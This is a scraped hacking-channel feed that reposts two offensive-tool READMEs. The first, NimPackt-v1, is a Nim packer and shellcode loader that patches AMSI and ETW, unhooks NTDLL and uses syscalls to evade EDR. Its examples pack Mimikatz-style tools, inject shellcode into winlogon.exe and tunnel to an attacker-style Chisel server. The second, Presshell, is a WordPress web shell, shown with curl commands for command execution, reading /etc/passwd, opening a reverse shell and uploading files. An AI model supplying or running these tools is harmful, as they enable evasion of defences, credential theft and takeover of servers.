Hacking Articles Tips Tricks Videos Tutorials

Kali Linux Tutorials
NimPackt-v1 : Nim-based Assembly Packer And Shellcode Loader For Opsec And Profit

NimPackt-v1 is among the worst code I have ever written (I was just starting out learning Nim). Because of this, I started on a full rewrite of NimPackt, dubbed ‘NimPackt-NG’ (currently still private). With this re-write, I decided to open-source the old branch (“NimPackt-v1”). As such, this branch is no longer maintained and comes without any form of warranty or support. PRs are always welcome, of course https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png

NimPackt is a Nim-based packer for .NET (C#) executables and shellcode targeting Windows. It automatically wraps the payload in a Nim binary that is compiled to Native C and as such harder to detect and reverse engineer. There are two main execution methods:

* Execute-Assemblyre-packs a .NET executable and runs it, optionally applying evasive measures such as API unhooking, AMSI patching, or disabling ETW.
* Shinjecttakes raw a .bin file with raw, position-independent shellcode and executes it locally or in a remote process, optionally using direct syscalls to trigger the shellcode or patching API hooks to evade EDR.

Currently, NimPackt has the following features.

* Uses static syscalls to patch execute to evade EDR
* Unhooks user-mode APIs for spawned thread by refreshing NTDLL.dllusing ShellyCoat
* Patches Event Tracing for Windows (ETW)
* Patches the Anti-Malware Scan Interface (AMSI)
* AES-encrypts payload with random key to prevent static analysis or fingerprinting
* Compiles to exeor dll* Supports cross-platform compilation (from both Linux and Windows)
* Integrates with CobaltStrike for ezpz payload generation https://s.w.org/images/core/emoji/14.0.0/72x72/1f60e.png

A great source for C#-based binaries for offensive tooling can be found here. It is highly recommended to compile the C# binaries yourself. Even though embedded binaries are encrypted, you should obfuscate sensitive binaries (such as Mimikatz) to lower the risk of detection. InstallationIf you are having issues compiling the binary with Syscalls, try downgrading your GCC to version 8.1.0 (especially on Windows). ALWAYS test generated payloads!

On Linux, simply install the required packages and use the Nimble package installer to install the required packages and Python libraries.

sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto

On Windows, execute the Nim installer from here. Make sure to install mingwand set the path values correctly using the provided finish.exeutility. If you don’t have Python3 install that, then install the required packages as follows.

nimble install winim nimcrypto
pip3 install pycryptodome argparse DockerThe Docker image chvancooten/nimbuild can be used to compile NimPackt-v1 binaries. Using Docker is easy and avoids dependency issues, as all required dependencies are pre-installed in this container.

To use it, install Docker for your OS and ensure the input shellcode is in the current folder. Then, start the compilation in a container as follows.

docker run –rm -v pwd:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin CobaltStrike PluginTo install the CobaltStrike plugin, select Cobalt Strike–> Script Managerfrom the menu bar, and select Load. Make sure to load the .cnafile from it’s original location, otherwise it won’t be able to find the NimPackt script files! Usageusage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]
required arguments:
-e EXECUTIONMODE, –executionmode EXECUTIONMODE
Execution mode of t[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

NimPackt-v1 : Nim-based Assembly Packer And Shellcode Loader

NimPackt-v1 is among the worst code I have ever written. Because of this, I started on a full rewrite of NimPackt.

7 viewsedited 19:00

Hacking Articles Tips Tricks Videos Tutorials

Kali Linux Tutorials NimPackt-v1 : Nim-based Assembly Packer And Shellcode Loader For Opsec And Profit NimPackt-v1 is among the worst code I have ever written (I was just starting out learning Nim). Because of this, I started on a full rewrite of NimPackt…

he packer. Supports “execute-assembly” or “shinject”
-i INPUTFILE, –inputfile INPUTFILE
C# .NET binary executable (.exe) or shellcode (.bin) to wrap
execute-assembly arguments:
-a ARGUMENTS, –arguments ARGUMENTS
Arguments to “bake into” the wrapped binary, or “PASSTHRU” to accept run-
time arguments (default)
-na, –nopatchamsi Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
-ne, –nodisableetw Do NOT disable Event Tracing for Windows (ETW)
shinject arguments:
-r, –remote Inject shellcode into remote process (default false)
-t INJECTTARGET, –target INJECTTARGET
Remote thread targeted for remote process injection
-E, –existing Remote inject into existing process rather than a newly spawned one (default
false, implies -r) (WARNING: VOLATILE)
other arguments:
-o OUTPUTFILE, –outfile OUTPUTFILE
Filename of the output file (e.g. “LegitBinary”). Specify WITHOUT extension
or path. This property will be stored in the output binary as the original
filename
-nu, –nounhook Do NOT unhook user-mode API hooks in the target process by loading a fresh
NTDLL.dll
-ns, –nosyscalls Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
APIs to evade EDR
-f FILETYPE, –filetype FILETYPE
Filetype to compile (“exe” or “dll”, default: “exe”)
-s, –sleep Sleep for approx. 30 seconds by calculating primes
-32, –32bit Compile in 32-bit mode (untested)
-S, –showConsole Show a console window with the app’s output when running
-d, –debug Enable debug mode (retains .nim source file in output folder)
-v, –verbose Print debug messages of the wrapped binary at runtime
-V, –version show program’s version number and exit

Examples

Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v
Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a “-group=all -outputfile=c:\users\public\downloads\sb.txt”
Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a ‘client –keepalive 25s –max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks’
Pack raw shellcode to DLL file that executes in the local thread through direct syscalls, unhooking NTDLL as well
Shellcode generated with ‘msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin’
python3 NimPackt.py -i calc.bin -e shinject -f dll
Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window
python3 NimPackt.py -i calc.bin -e shinject -t “calc.exe”
Pack raw shellcode to execute in the existing Winlogon process (first PID with name ‘winlogon.exe’), do not use direct syscalls or unhook NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t “winlogon.exe” -nu -ns

Binaries are stored in the outputsubfolder of your installation directory. Generated dllfiles can be executed as follows (entry point can be changed in the Nim template):

rundll32 exampleShinjectNimPackt.dll,IconSrv Download
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

6 viewsedited 19:00

Hacking Articles Tips Tricks Videos Tutorials

4 views19:00

Hacking Articles Tips Tricks Videos Tutorials

Photo

Kali Linux Tutorials
Presshell : Quick And Dirty WordPress Command Execution Shell

Presshell is a tool for Quick & dirty WordPress Command Execution Shell. Execute shell commands on your wordpress server. Uploaded shell will probably be at

Installation

To install the shell, we are assuming you have administrative rights to WordPress and can install plugins since transferring a PHP file to the media library shouldn’t work anyway. Otherwise, you have a bigger problem.

Simply upload the zip file located in the Releases section as a new extension and you’re good to go.

Usage

Using the shell is straightforward. Simply pass shcommands as an argument to the shell :

❯ curl ‘http://host/…/shell.php?cmd=uname+-a’
Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux

You may as well pass these arguments in a POST request, which is the recommended way to keep your commands out of logs.

❯ curl ‘http://host/…/shell.php’ –data-urlencode ‘cmd=ls’
LICENSE
README.md
shell.php

More complex commands are also supported, careful about your quoting though

❯ curl ‘http://host/…/shell.php’ –data-urlencode ‘cmd=cat /etc/passwd | grep -v “(false|nologin)”‘
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync

❯ curl ‘http://host/…/shell.php’ –data-urlencode ‘cmd=python -c “from urllib.parse import urlencode; print(urlencode({\”cmd\”: \”uname -a\”}))”‘
cmd=uname+-a

You can also open a reverse shell using the ipand portparameters. The default port is 443.

❯ curl ‘http://host/…/shell.php’ –data-urlencode ‘ip=127.0.0.1’

❯ curl ‘http://host/…/shell.php’ –data-urlencode ‘ip=127.0.0.1’ –data-urlencode ‘port=1337’

There is also an option provided for convenience to upload a file to the directory of the plugin unconditionally and without checks.

❯ curl ‘http://host/…/shell.php’ -F ‘file=@some_file’
❯ curl ‘http://host/…/shell.php’ –data-urlencode ‘cmd=ls’
LICENSE
README.md
shell.php
some_file
Download
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

Presshell : Quick And Dirty Wordpress Command Execution Shell

Presshell is a tool for Quick & dirty Wordpress Command Execution Shell. Execute shell commands on your wordpress server.

5 viewsedited 19:00

About

Blog

Apps

Platform